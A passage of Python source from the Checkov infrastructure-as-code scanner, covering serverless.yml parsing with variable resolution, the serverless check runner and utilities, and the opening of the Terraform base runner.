isinstance(self.provider_conf, dict): return self.provider_conf.get('name') if isinstance(self.provider_conf, str): return self.provider_conf return None ================================================ FILE: checkov/serverless/parsers/parser.py ================================================ from __future__ import annotations import json import os from collections.abc import Iterable from pathlib import Path from typing import Tuple, Optional, List, Any, Pattern, Callable import jmespath import logging import re import yaml from checkov.cloudformation.parser import cfn_yaml from checkov.cloudformation.context_parser import ContextParser from checkov.cloudformation.parser.cfn_yaml import CfnParseError from checkov.common.models.consts import SLS_DEFAULT_VAR_PATTERN from checkov.common.parsers.node import DictNode, StrNode from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) IAM_ROLE_STATEMENTS_TOKEN = 'iamRoleStatements' # nosec CFN_RESOURCES_TOKEN = 'resources' # nosec PROVIDER_TOKEN = 'provider' # nosec FUNCTIONS_TOKEN = 'functions' # nosec ENVIRONMENT_TOKEN = 'environment' # nosec STACK_TAGS_TOKEN = 'stackTags' # nosec TAGS_TOKEN = 'tags' # nosec SUPPORTED_PROVIDERS = ['aws'] QUOTED_WORD_SYNTAX = re.compile(r"(?:('|\").*?\1)") FILE_LOCATION_PATTERN = re.compile(r'^file\(([^?%*:|"<>]+?)\)') def parse(filename: str) -> tuple[dict[str, Any], list[tuple[int, str]]] | None: template = None template_lines = None try: (template, template_lines) = cfn_yaml.load(filename, cfn_yaml.ContentType.SLS) if not template or not is_checked_sls_template(template): return None except FileNotFoundError as e: logger.error(f'Template file not found: {e.filename}') return None except IsADirectoryError as e: logger.error(f'Template references a directory, not a file: {e.filename}') return None except PermissionError as e: logger.error(f'Permission denied when accessing {e.filename}') return None except UnicodeDecodeError: logger.error('Cannot read file contents: %s', filename) return None except CfnParseError as e: logger.warning(f"Failed to parse file {e.filename} because it isn't valid yaml") return None if template is None or template_lines is None: return None process_variables(template, filename) return template, template_lines def is_checked_sls_template(template: dict[str, Any]) -> bool: if template.__contains__('provider'): # Case provider is a dictionary if isinstance(template['provider'], DictNode): if template['provider'].get('name', '').lower() not in SUPPORTED_PROVIDERS: return False # Case provider is direct provider name if isinstance(template['provider'], StrNode): if template['provider'] not in SUPPORTED_PROVIDERS: return False return True return False def template_contains_cfn_resources(template: dict[str, Any]) -> bool: if template.__contains__(CFN_RESOURCES_TOKEN) and isinstance(template[CFN_RESOURCES_TOKEN], DictNode): if template[CFN_RESOURCES_TOKEN].get('Resources'): return True return False def template_contains_key(template: dict[str, Any], key: str) -> bool: if ContextParser.search_deep_keys(key, template, []): return True return False def process_variables(template: dict[str, Any], filename: str) -> dict[str, Any]: """ Modifies the template data in-place to resolve variables. """ file_data_cache: dict[str, dict[str, Any]] = {} service_file_directory = os.path.dirname(filename) var_pattern = jmespath.search("provider.variableSyntax", template) if var_pattern is not None: # Remove to prevent self-matching during processing del template["provider"]["variableSyntax"] else: var_pattern = SLS_DEFAULT_VAR_PATTERN compiled_var_pattern = re.compile(var_pattern) # Processing is done in a loop to deal with chained references and the like. # Loop while the data is being changed, stop when no more changes are happening. # To ensure there's not some kind of oscillation, a cap of 25 passes is in place. # More than a couple loops isn't normally expected. # NOTE: If this approach proves to be a performance liability, a DAG will be needed. loop_count = 0 for _ in range(0, 25): loop_count += 1 made_change = False if process_variables_loop(template, compiled_var_pattern, # vt = var type # vl = var location # ft = fallback var type # fl = fallback var location lambda vt, vl, ft, fl: _load_var_data(vt, vl, ft, fl, file_data_cache, template, service_file_directory)): made_change = True if not made_change: break logger.debug("Processing of %s variables took %d loop iterations", filename, loop_count) return template def process_variables_loop( template: dict[str, Any], var_pattern: Pattern[str], param_lookup_function: Callable[[str | None, str | None, str | None, str | None], Any], ) -> bool: """ Generic processing loop for variables. :param template: The dictionary currently being processed. This function will be called recursively starting at dict provided. :param var_pattern: A compiled regex pattern which should name match groups if they are needed for looking up the data source. :param param_lookup_function: A Callable taking four arguments: 1) the type (e.g., "self", "file(/path/to/file.yml)") 2) the location (e.g., "custom.my_property") 3) fallback var type (same as above plus None for static value) 4) fallback var location or value if type was None """ # Generic loop for handling a source of key/value tuples (e.g., enumerate() or .items()) def process_items_helper(key_value_iterator: Iterable[tuple[str, Any]], data_map: dict[str, Any]) -> bool: made_change = False for key, value in key_value_iterator: if isinstance(value, str): altered_value = value for match in var_pattern.finditer(value): parsed_var = _parse_var(match[1]) if parsed_var is None: continue var_type, var_loc, fallback_type, fallback_loc = parsed_var source_value = param_lookup_function(var_type, var_loc, fallback_type, fallback_loc) # If we can't find a value, skip it if source_value is None: continue try: if altered_value == match[0]: # complete replacement altered_value = source_value else: # partial replacement altered_value = altered_value.replace(match[0], source_value) except TypeError: pass if value != altered_value: data_map[key] = altered_value made_change = True elif isinstance(value, dict): if process_variables_loop(value, var_pattern, param_lookup_function): made_change = True elif isinstance(value, list): if process_items_helper(enumerate(value), value): # type:ignore[arg-type] made_change = True return made_change return process_items_helper(template.items(), template) def _load_var_data( var_type: str | None, var_location: str | None, fallback_var_type: str | None, fallback_var_location: str | None, file_cache: dict[str, dict[str, Any]], self_data_source: dict[str, Any], service_file_directory: str, ) -> Any: """ Load data based on the type/path (see param_lookup_function parameter of process_variables for more info). :param var_type: Either the type of the variable (see process_variables function) or None to indicate that var_location is a raw value. :param var_location: Either the location of the variable (see process_variables function) or a raw value if var_type is None :return None if the variable could not be resolved """ value = None if var_type is None: value = var_location elif var_type == "self": value = _determine_variable_value_from_dict(self_data_source, var_location, None) elif var_type == "env": value = _determine_variable_value_from_dict(dict(os.environ.items()), var_location, None) elif var_type.startswith("file("): match = FILE_LOCATION_PATTERN.match(var_type) if match is None: return None data_source = _load_file_data(match[1], file_cache, service_file_directory) value = _determine_variable_value_from_dict(data_source, var_location, None) if value is None and fallback_var_location is not None: return _load_var_data(fallback_var_type, fallback_var_location, None, None, file_cache, self_data_source, service_file_directory) return value def _determine_variable_value_from_dict( source_dict: dict[str, Any], location_str: str | None, default: str | None ) -> Any: if location_str is None: return source_dict if default is not None: default = default.strip() # NOTE: String must be quoted to avoid issues with dashes and other reserved # characters. If we just wrap the whole thing, dot separators won't work so: # split and join with individually wrapped tokens. # Original: foo.bar-baz # Wrapped: "foo"."bar-baz" location = ".".join([f'"{token}"' for token in location_str.split(".")]) source_value = jmespath.search(location, source_dict) if source_value is None: return default return source_value def _self_var_data_lookup(group_dict: dict[str, Any], template: dict[str, Any]) -> Any: location = group_dict["loc"] default = group_dict.get("default") return _determine_variable_value_from_dict(template, location, default) def _load_file_data( file_location: str, file_data_cache: dict[str, dict[str, Any]], service_file_directory: str ) -> dict[str, Any]: file_location = file_location.replace("~", str(Path.home())) file_location = file_location if os.path.isabs(file_location) else \ os.path.join(service_file_directory, file_location) data = file_data_cache.get(file_location) if data is None: try: with open(file_location, "r") as f: if file_location.endswith(".json"): data = json.load(f) elif file_location.endswith(".yml") or file_location.endswith(".yaml"): data = yaml.safe_load(f) except Exception: data = {} file_data_cache[file_location] = data or {} return data or {} def _token_to_type_and_loc(token: str) -> Tuple[Optional[str], Optional[str]]: file_match = FILE_LOCATION_PATTERN.match(token) if file_match is not None: if ":" not in token: return file_match[0], None return file_match[0].strip(), token[len(file_match[0]) + 1 :].strip() # +1 for colon if ":" not in token: return None, token index = token.index(":") return token[:index].strip(), token[index + 1 :].strip() def _parse_var(var_str: str) -> tuple[str | None, str | None, str | None, str | None] | None: """ Returns a tuple of the var type, var loc, fallback type and fallback loc. See docs for the param_lookup_function parameter of process_variables_loop for more info. """ tokens = _tokenize_by_commas(var_str.strip()) if not tokens: return None var_type, var_loc = _token_to_type_and_loc(tokens[0]) if len(tokens) > 1: fallback_type, fallback_loc = _token_to_type_and_loc(tokens[1]) else: fallback_type = None fallback_loc = None return var_type, var_loc, fallback_type, fallback_loc def _tokenize_by_commas(string: str) -> Optional[List[str]]: """ Tokenize the given value by commas, respecting quoted blocks. """ if not string: return None quoted_comma_ranges = [range(m.start(0), m.end(0)) for m in QUOTED_WORD_SYNTAX.finditer(string)] def clean(s: str) -> str: s = s.strip() # whitespace if len(s) > 0 and s[0] == '"' and s[len(s) - 1] == '"': # surrounding quotes s = s[1:-1] if len(s) > 0 and s[0] == "'" and s[len(s) - 1] == "'": s = s[1:-1] return s block_start_index = 0 search_start_index = block_start_index tokens = [] index = string.find(",", search_start_index) while index > 0: is_quoted = False for quoted_comma_range in quoted_comma_ranges: if index in quoted_comma_range: is_quoted = True break if is_quoted: search_start_index = index + 1 else: tokens.append(clean(string[block_start_index:index])) block_start_index = index + 1 search_start_index = block_start_index index = string.find(",", search_start_index) if block_start_index < len(string): tokens.append(clean(string[block_start_index:])) return tokens ================================================ FILE: checkov/serverless/registry.py ================================================ from checkov.serverless.checks.function.registry import function_registry # Leaving this around for backwards compatibility sls_registry = function_registry ================================================ FILE: checkov/serverless/runner.py ================================================ from __future__ import annotations import logging import os from pathlib import Path from typing import TYPE_CHECKING, Any from typing_extensions import TypeAlias # noqa[TC002] from checkov.cloudformation import cfn_utils from checkov.cloudformation.context_parser import ContextParser as CfnContextParser from checkov.common.bridgecrew.check_type import CheckType from checkov.common.util.secrets import omit_secret_value_from_checks from checkov.serverless.base_registry import EntityDetails from checkov.serverless.graph_builder.definition_context import build_definitions_context from checkov.serverless.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions from checkov.serverless.graph_builder.local_graph import ServerlessLocalGraph from checkov.serverless.graph_manager import ServerlessGraphManager from checkov.serverless.parsers.context_parser import ContextParser as SlsContextParser, ContextParser from checkov.cloudformation.checks.resource.registry import cfn_registry from checkov.serverless.checks.complete.registry import complete_registry from checkov.serverless.checks.custom.registry import custom_registry from checkov.serverless.checks.function.registry import function_registry from checkov.serverless.checks.layer.registry import layer_registry from checkov.serverless.checks.package.registry import package_registry from checkov.serverless.checks.plugin.registry import plugin_registry from checkov.serverless.checks.provider.registry import provider_registry from checkov.serverless.checks.service.registry import service_registry from checkov.common.runners.base_runner import BaseRunner from checkov.runner_filter import RunnerFilter from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.output.extra_resource import ExtraResource from checkov.serverless.parsers.parser import CFN_RESOURCES_TOKEN from checkov.serverless.utils import get_scannable_file_paths, get_files_definitions, SLS_FILE_MASK, get_resource_tags if TYPE_CHECKING: from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.typing import LibraryGraphConnector MULTI_ITEM_SECTIONS = [ ("functions", function_registry), ("layers", layer_registry) ] SINGLE_ITEM_SECTIONS = [ ("provider", provider_registry), ("custom", custom_registry), ("package", package_registry), ("plugins", plugin_registry), ("service", service_registry) ] _ServerlessContext: TypeAlias = "dict[str, dict[str, Any]]" _ServerlessDefinitions: TypeAlias = "dict[str, dict[str, Any]]" class Runner(BaseRunner[_ServerlessDefinitions, _ServerlessContext, ServerlessGraphManager]): check_type = CheckType.SERVERLESS # noqa: CCE003 # a static attribute def __init__(self, db_connector: LibraryGraphConnector | None = None, source: str = GraphSource.SERVERLESS, graph_class: type[ServerlessLocalGraph] = ServerlessLocalGraph, graph_manager: ServerlessGraphManager | None = None, external_registries: list[BaseRegistry] | None = None, ) -> None: super().__init__(file_names=SLS_FILE_MASK) db_connector = db_connector or self.db_connector self.external_registries = external_registries if external_registries else [] self.graph_class = graph_class self.graph_manager: "ServerlessGraphManager" = ( graph_manager if graph_manager else ServerlessGraphManager(source=source, db_connector=db_connector) ) self.graph_registry = get_graph_checks_registry(self.check_type) self.definitions: _ServerlessDefinitions = {} self.definitions_raw: dict[str, list[tuple[int, str]]] = {} self.context: _ServerlessContext | None = None self.root_folder: "str | None" = None def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) self.root_folder = root_folder if not self.context or not self.definitions: files_list: list[str] = [] filepath_fn = None if external_checks_dir: for directory in external_checks_dir: function_registry.load_external_checks(directory) if files: files_list = [file for file in files if os.path.basename(file) in SLS_FILE_MASK] if self.root_folder: files_list = get_scannable_file_paths(self.root_folder, runner_filter.excluded_paths) definitions, definitions_raw = get_files_definitions(files_list, filepath_fn) # Filter out empty files that have not been parsed successfully self.definitions = {k: v for k, v in definitions.items() if v} self.definitions_raw = {k: v for k, v in definitions_raw.items() if k in definitions.keys()} self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw) logging.info("Creating Serverless graph") local_graph = self.graph_manager.build_graph_from_definitions(definitions=self.definitions) logging.info(f'Successfully created Serverless graph ({len(local_graph.vertices)} vertices)') self.graph_manager.save_graph(local_graph) self.definitions, self.breadcrumbs = convert_graph_vertices_to_definitions( vertices=local_graph.vertices, root_folder=root_folder, ) self.pbar.initiate(len(self.definitions)) self.add_python_check_results(report, runner_filter) return report def add_python_check_results(self, report: Report, runner_filter: RunnerFilter) -> None: for sls_file, sls_file_data in self.definitions.items(): self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(sls_file, self.root_folder)}) if not isinstance(sls_file_data, dict): continue sls_context_parser = SlsContextParser(sls_file, sls_file_data, self.definitions_raw[sls_file]) self.cfn_resources_checks(sls_file, sls_file_data, report, runner_filter, sls_context_parser) self.multi_item_sections_checks(sls_file, sls_file_data, report, runner_filter, sls_context_parser) self.single_item_sections_checks(sls_file, sls_file_data, report, runner_filter, sls_context_parser) self.complete_python_checks(sls_file, sls_file_data, report, runner_filter, sls_context_parser) def complete_python_checks(self, sls_file: str, sls_file_data: dict[str, Any], report: Report, runner_filter: RunnerFilter, sls_context_parser: ContextParser) -> None: # "Complete" checks # NOTE: Ignore code content, no point in showing (could be long) file_abs_path = Path(sls_file).absolute() entity_code_lines = self.definitions_raw[sls_file] entity_lines_range = [1, len(entity_code_lines) - 1] skipped_checks = CfnContextParser.collect_skip_comments(entity_code_lines or []) variable_evaluations: dict[str, Any] = {} entity = EntityDetails(sls_context_parser.provider_type, sls_file_data) results = complete_registry.scan(sls_file, entity, skipped_checks, runner_filter) tags = cfn_utils.get_resource_tags(entity, complete_registry) # type:ignore[arg-type] if results: for check, check_result in results.items(): record = Record(check_id=check.id, check_name=check.name, check_result=check_result, code_block=[], # Don't show, could be large file_path=self.extract_file_path_from_abs_path(Path(sls_file)), file_line_range=entity_lines_range, resource="complete", # Weird, not sure what to put where evaluations=variable_evaluations, check_class=check.__class__.__module__, file_abs_path=str(file_abs_path), entity_tags=tags, severity=check.severity) record.set_guideline(check.guideline) report.add_record(record=record) else: report.extra_resources.add( ExtraResource( file_abs_path=str(file_abs_path), file_path=self.extract_file_path_from_abs_path(Path(sls_file)), resource="complete", ) ) def single_item_sections_checks(self, sls_file: str, sls_file_data: dict[str, Any], report: Report, runner_filter: RunnerFilter, sls_context_parser: ContextParser) -> None: # Sub-sections that are a single item file_abs_path = Path(sls_file).absolute() for token, registry in SINGLE_ITEM_SECTIONS: item_content = sls_file_data.get(token) if not item_content: continue entity_lines_range, entity_code_lines = sls_context_parser.extract_code_lines(item_content) if not entity_lines_range: entity_code_lines = self.definitions_raw[sls_file] entity_lines_range = [1, len(entity_code_lines) - 1] skipped_checks = CfnContextParser.collect_skip_comments(entity_code_lines or []) variable_evaluations: dict[str, Any] = {} entity = EntityDetails(sls_context_parser.provider_type, item_content) results = registry.scan(sls_file, entity, skipped_checks, runner_filter) tags = get_resource_tags(entity, registry) fname = Path(sls_context_parser.file(item_content)).resolve() if results: for check, check_result in results.items(): censored_code_lines = omit_secret_value_from_checks( check=check, check_result=check_result, entity_code_lines=entity_code_lines or [], entity_config=item_content, resource_attributes_to_omit=runner_filter.resource_attr_to_omit ) record = Record( check_id=check.id, check_name=check.name, check_result=check_result, code_block=censored_code_lines, file_path=self.extract_file_path_from_abs_path(fname), file_line_range=entity_lines_range or [0, 0], resource=token, evaluations=variable_evaluations, check_class=check.__class__.__module__, file_abs_path=str(file_abs_path), entity_tags=tags, severity=check.severity, ) record.set_guideline(check.guideline) report.add_record(record=record) else: report.extra_resources.add( ExtraResource( file_abs_path=str(file_abs_path), file_path=self.extract_file_path_from_abs_path(Path(sls_file)), resource=token, ) ) def multi_item_sections_checks(self, sls_file: str, sls_file_data: dict[str, Any], report: Report, runner_filter: RunnerFilter, sls_context_parser: ContextParser) -> None: # Sub-sections that have multiple items under them file_abs_path = Path(sls_file).absolute() for token, registry in MULTI_ITEM_SECTIONS: template_items = sls_file_data.get(token) if not template_items or not isinstance(template_items, dict): continue for item_name, item_content in template_items.items(): if not isinstance(item_content, dict): continue entity_lines_range, entity_code_lines = sls_context_parser.extract_code_lines(item_content) if entity_lines_range and entity_code_lines: skipped_checks = CfnContextParser.collect_skip_comments(entity_code_lines) variable_evaluations: dict[str, Any] = {} if token == "functions": # nosec # "Enriching" copies things like "environment" and "stackTags" down into the # function data from the provider block since logically that's what serverless # does. This allows checks to see what the complete data would be. sls_context_parser.enrich_function_with_provider(item_name) entity = EntityDetails(sls_context_parser.provider_type, item_content) results = registry.scan(sls_file, entity, skipped_checks, runner_filter) tags = get_resource_tags(entity, registry) fname = Path(sls_context_parser.file(item_content)).resolve() if results: for check, check_result in results.items(): censored_code_lines = omit_secret_value_from_checks( check=check, check_result=check_result, entity_code_lines=entity_code_lines, entity_config=item_content, resource_attributes_to_omit=runner_filter.resource_attr_to_omit ) record = Record(check_id=check.id, check_name=check.name, check_result=check_result, code_block=censored_code_lines, file_path=self.extract_file_path_from_abs_path(fname), file_line_range=entity_lines_range, resource=item_name, evaluations=variable_evaluations, check_class=check.__class__.__module__, file_abs_path=str(file_abs_path), entity_tags=tags, severity=check.severity) record.set_guideline(check.guideline) report.add_record(record=record) else: report.extra_resources.add( ExtraResource( file_abs_path=str(file_abs_path), file_path=self.extract_file_path_from_abs_path(Path(sls_file)), resource=item_name, ) ) def cfn_resources_checks(self, sls_file: str, sls_file_data: dict[str, Any], report: Report, runner_filter: RunnerFilter, sls_context_parser: SlsContextParser) -> None: file_abs_path = Path(sls_file).absolute() if CFN_RESOURCES_TOKEN in sls_file_data and isinstance(sls_file_data[CFN_RESOURCES_TOKEN], dict): cf_sub_template = sls_file_data[CFN_RESOURCES_TOKEN] cf_sub_resources = cf_sub_template.get("Resources") if cf_sub_resources and isinstance(cf_sub_resources, dict): cf_context_parser = CfnContextParser(sls_file, cf_sub_template, self.definitions_raw[sls_file]) logging.debug(f"Template Dump for {sls_file}: {sls_file_data}") cf_context_parser.evaluate_default_refs() for resource_name, resource in cf_sub_resources.items(): if not isinstance(resource, dict): continue cf_resource_id = cf_context_parser.extract_cf_resource_id(resource, resource_name) if not cf_resource_id: # Not Type attribute for resource continue report.add_resource(f'{file_abs_path}:{cf_resource_id}') entity_lines_range, entity_code_lines = sls_context_parser.extract_code_lines(resource) if entity_lines_range and entity_code_lines: skipped_checks = CfnContextParser.collect_skip_comments(entity_code_lines) # TODO - Variable Eval Message! variable_evaluations: dict[str, Any] = {} entity_dict = {resource_name: resource} results = cfn_registry.scan(sls_file, entity_dict, skipped_checks, runner_filter) tags = cfn_utils.get_resource_tags(entity_dict, cfn_registry) if results: for check, check_result in results.items(): censored_code_lines = omit_secret_value_from_checks( check=check, check_result=check_result, entity_code_lines=entity_code_lines, entity_config=resource, resource_attributes_to_omit=runner_filter.resource_attr_to_omit ) record = Record(check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=censored_code_lines, file_path=self.extract_file_path_from_abs_path(Path(sls_file)), file_line_range=entity_lines_range, resource=cf_resource_id, evaluations=variable_evaluations, check_class=check.__class__.__module__, file_abs_path=str(file_abs_path), entity_tags=tags, severity=check.severity) record.set_guideline(check.guideline) report.add_record(record=record) else: report.extra_resources.add( ExtraResource( file_abs_path=str(file_abs_path), file_path=self.extract_file_path_from_abs_path(Path(sls_file)), resource=cf_resource_id, ) ) def extract_file_path_from_abs_path(self, path: Path) -> str: return f"{os.path.sep}{os.path.relpath(path, self.root_folder)}" def set_definitions_raw(self, definitions_raw: dict[str, list[tuple[int, str]]]) -> None: self.definitions_raw = definitions_raw ================================================ FILE: checkov/serverless/utils.py ================================================ from __future__ import annotations import os import logging from collections.abc import Collection from enum import Enum from typing import Callable, Any, Optional from pathlib import Path from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.runner_filter import RunnerFilter from checkov.cloudformation import cfn_utils from checkov.serverless.parsers.parser import parse from checkov.common.runners.base_runner import filter_ignored_paths from checkov.serverless.registry import sls_registry from checkov.serverless.base_registry import ServerlessRegistry, EntityDetails SLS_FILE_MASK = os.getenv( "CKV_SLS_FILE_MASK", "serverless.yml,serverless.yaml").split(",") class ServerlessElements(str, Enum): PARAMS = "params" FUNCTIONS = "functions" PROVIDER = "provider" LAYERS = "layers" CUSTOM = "custom" PACKAGE = "package" PLUGINS = "plugins" SERVICE = "service" RESOURCES = "resources" def __str__(self) -> str: # needed, because of a Python 3.11 change return self.value def create_definitions( root_folder: str, files: Collection[Path] | None = None, runner_filter: RunnerFilter | None = None, ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]: definitions: dict[str, dict[str, Any]] = {} definitions_raw: dict[str, list[tuple[int, str]]] = {} runner_filter = runner_filter or RunnerFilter() if root_folder: file_paths = get_scannable_file_paths(root_folder, runner_filter.excluded_paths) definitions, definitions_raw = get_files_definitions(files=file_paths) return definitions, definitions_raw def get_scannable_file_paths(root_folder: str | None = None, excluded_paths: list[str] | None = None) -> list[str]: files_list: list[str] = [] if not root_folder: return files_list for root, d_names, f_names in os.walk(root_folder): # Don't walk in to "node_modules" directories under the root folder. If for some reason # scanning one of these is desired, it can be directly specified. if "node_modules" in d_names: d_names.remove("node_modules") filter_ignored_paths(root, d_names, excluded_paths) filter_ignored_paths(root, f_names, excluded_paths) for file in f_names: if file in SLS_FILE_MASK: files_list.append(os.path.join(root, file)) return files_list def get_files_definitions( files: list[str], filepath_fn: Callable[[str], str] | None = None ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]: results = parallel_runner.run_function(_parallel_parse, files) definitions = {} definitions_raw = {} for file, result in results: if result: path = filepath_fn(file) if filepath_fn else file definitions[path], definitions_raw[path] = result return definitions, definitions_raw def _parallel_parse(f: str) -> tuple[str, tuple[dict[str, Any], list[tuple[int, str]]] | None]: """Thin wrapper to return filename with parsed content""" return f, parse(f) def get_resource_tags(entity: EntityDetails, registry: ServerlessRegistry = sls_registry) -> Optional[dict[str, str]]: entity_details = registry.extract_entity_details(entity) if not entity_details: return None entity_config = entity_details[-1] if not isinstance(entity_config, dict): return None try: tags = entity_config.get("tags") if tags: return cfn_utils.parse_entity_tags(tags) except Exception as e: logging.warning(f"Failed to parse tags for entity {entity} due to {e}") return None ================================================ FILE: checkov/terraform/__init__.py ================================================ from checkov.terraform.checks.resource import * # noqa from checkov.terraform.checks.data import * # noqa from checkov.terraform.modules import * # noqa ================================================ FILE: checkov/terraform/base_runner.py ================================================ from __future__ import annotations import os import platform from abc import abstractmethod from typing import Dict, Optional, Any, Set, TYPE_CHECKING, TypeVar, Generic import dpath from typing_extensions import TypeAlias # noqa[TC002] from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.images.image_referencer import ImageReferencerMixin from checkov.common.models.enums import CheckResult from checkov.common.output.graph_record import GraphRecord from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.runners.base_runner import BaseRunner from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.secrets import omit_secret_value_from_graph_checks from checkov.common.variables.context import EvaluationContext from checkov.runner_filter import RunnerFilter from checkov.terraform.modules.module_objects import TFDefinitionKey from checkov.terraform.checks.data.registry import data_registry from checkov.terraform.checks.module.registry import module_registry from checkov.terraform.checks.provider.registry import provider_registry from checkov.terraform.checks.resource.registry import resource_registry from checkov.terraform.context_parsers.registry import parser_registry from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.terraform.graph_manager import TerraformGraphManager from checkov.terraform.image_referencer.manager import TerraformImageReferencerManager from checkov.terraform.tag_providers import get_resource_tags from checkov.terraform.tf_parser import TFParser from checkov.common.util.env_vars_config import env_vars_config if TYPE_CHECKING: from networkx import DiGraph from checkov.common.checks_infra.registry import Registry from checkov.common.images.image_referencer import Image from checkov.common.typing import LibraryGraphConnector, LibraryGraph _Context = TypeVar("_Context", bound="dict[Any, Any]|None") _Definitions = TypeVar("_Definitions", bound="dict[Any, Any]|None") _FilePath = TypeVar("_FilePath") # Allow the evaluation of empty variables dpath.options.ALLOW_EMPTY_STRING_KEYS = True class BaseTerraformRunner( ImageReferencerMixin[None], BaseRunner[_Definitions, _Context, TerraformGraphManager], Generic[_Definitions, _Context, _FilePath], ): def __init__( self, parser: TFParser | None = None, db_connector: LibraryGraphConnector | None = None, external_registries: list[BaseRegistry] | None = None, source: str = GraphSource.TERRAFORM, graph_class: type[TerraformLocalGraph] = TerraformLocalGraph, graph_manager: TerraformGraphManager | None = None, ) -> None: super().__init__(file_extensions=[".tf", ".hcl"]) self.external_registries = [] if external_registries is None else external_registries self.graph_class = graph_class self.parser = parser or TFParser() self.definitions: _Definitions | None = None self.context: _Context | None = None self.breadcrumbs = None self.evaluations_context: Dict[TFDefinitionKey, Dict[str, EvaluationContext]] = {} self.graph_manager: TerraformGraphManager = ( graph_manager if graph_manager is not None else TerraformGraphManager( source=source, db_connector=db_connector or self.db_connector, ) ) self.graph_registry: Registry = get_graph_checks_registry(self.check_type) self.definitions_with_modules: dict[str, dict[str, Any]] = {} self.referrer_cache: Dict[str, str] = {} self.non_referred_cache: Set[str] = set() block_type_registries = { # noqa: CCE003 # a static attribute "resource": resource_registry, "data": data_registry, "provider": provider_registry, "module": module_registry, } @abstractmethod def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: pass def load_external_checks(self, external_checks_dir: list[str] | None) -> None: if external_checks_dir: for directory in external_checks_dir: resource_registry.load_external_checks(directory) self.graph_registry.load_external_checks(directory) def _get_connected_node_data(self, connected_node: dict[str, Any], root_folder: str | None) \ -> Optional[Dict[str, Any]]: if not connected_node: return None connected_entity_context = self.get_entity_context_and_evaluations(connected_node) if not connected_entity_context: return None full_file_path = connected_node[CustomAttributes.FILE_PATH] connected_node_data = {} connected_node_data["code_block"] = connected_entity_context.get("code_lines") connected_node_data["file_path"] = f"{os.sep}{os.path.relpath(full_file_path, root_folder)}" connected_node_data["file_line_range"] = [ connected_entity_context.get("start_line"), connected_entity_context.get("end_line"), ] connected_node_data["resource"] = ".".join(connected_entity_context["definition_path"]) connected_node_data["entity_tags"] = connected_node.get("tags", {}) connected_node_data["evaluations"] = None connected_node_data["file_abs_path"] = os.path.abspath(full_file_path) connected_node_data["resource_address"] = connected_entity_context.get("address") return connected_node_data def get_graph_checks_report( self, root_folder: str | None, runner_filter: RunnerFilter, graph: LibraryGraph | None = None ) -> Report: report = Report(self.check_type) checks_results = self.run_graph_checks_results(runner_filter, self.check_type, graph) for check, check_results in checks_results.items(): for check_result in check_results: entity = check_result["entity"] entity_context = self.get_entity_context_and_evaluations(entity) virtual_resources = entity.get(CustomAttributes.CONFIG, {}).get('virtual_resources') if (env_vars_config.RAW_TF_IN_GRAPH_ENV and virtual_resources and isinstance(virtual_resources, list) and len(virtual_resources) > 0): # We want to skip violations for raw TF resources and keep only virtual one's. The raw resource # should have an array of attached virtual resources so we check it and skip if needed continue if entity_context: full_file_path = entity[CustomAttributes.FILE_PATH] copy_of_check_result = pickle_deepcopy(check_result) for skipped_check in entity_context.get("skipped_checks", []): if skipped_check["id"] == check.id: copy_of_check_result["result"] = CheckResult.SKIPPED copy_of_check_result["suppress_comment"] = skipped_check["suppress_comment"] break copy_of_check_result["entity"] = entity[CustomAttributes.CONFIG] connected_node_data = self._get_connected_node_data(entity.get(CustomAttributes.CONNECTED_NODE), # type: ignore root_folder) if platform.system() == "Windows": root_folder = os.path.split(full_file_path)[0] resource_id = ".".join(entity_context["definition_path"]) resource = resource_id definition_context_file_path = full_file_path if ( entity.get(CustomAttributes.TF_RESOURCE_ADDRESS) and entity.get(CustomAttributes.TF_RESOURCE_ADDRESS) != resource_id ): # for plan resources resource = entity[CustomAttributes.TF_RESOURCE_ADDRESS] entity_config = self.get_graph_resource_entity_config(entity) censored_code_lines = omit_secret_value_from_graph_checks( check=check, check_result=check_result, entity_code_lines=entity_context.get("code_lines", []), entity_config=entity_config, resource_attributes_to_omit=runner_filter.resource_attr_to_omit, ) record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=copy_of_check_result, code_block=censored_code_lines, file_path=f"{os.sep}{os.path.relpath(full_file_path, root_folder)}", file_line_range=[ entity_context.get("start_line", 1), entity_context.get("end_line", 1), ], resource=resource, entity_tags=get_resource_tags(resource, entity_config), evaluations=None, check_class=check.__class__.__module__, file_abs_path=os.path.abspath(full_file_path), resource_address=entity_context.get("address"), severity=check.severity, bc_category=check.bc_category, benchmarks=check.benchmarks, connected_node=connected_node_data, definition_context_file_path=definition_context_file_path, ) if self.breadcrumbs: breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(resource) if breadcrumb: record = GraphRecord(record, breadcrumb) record.set_guideline(check.guideline) report.add_record(record=record) return report @abstractmethod def get_entity_context_and_evaluations(self, entity: dict[str, Any]) -> dict[str, Any] | None: pass @abstractmethod def run_block( self, entities: list[dict[str, Any]], definition_context: _Context, full_file_path: 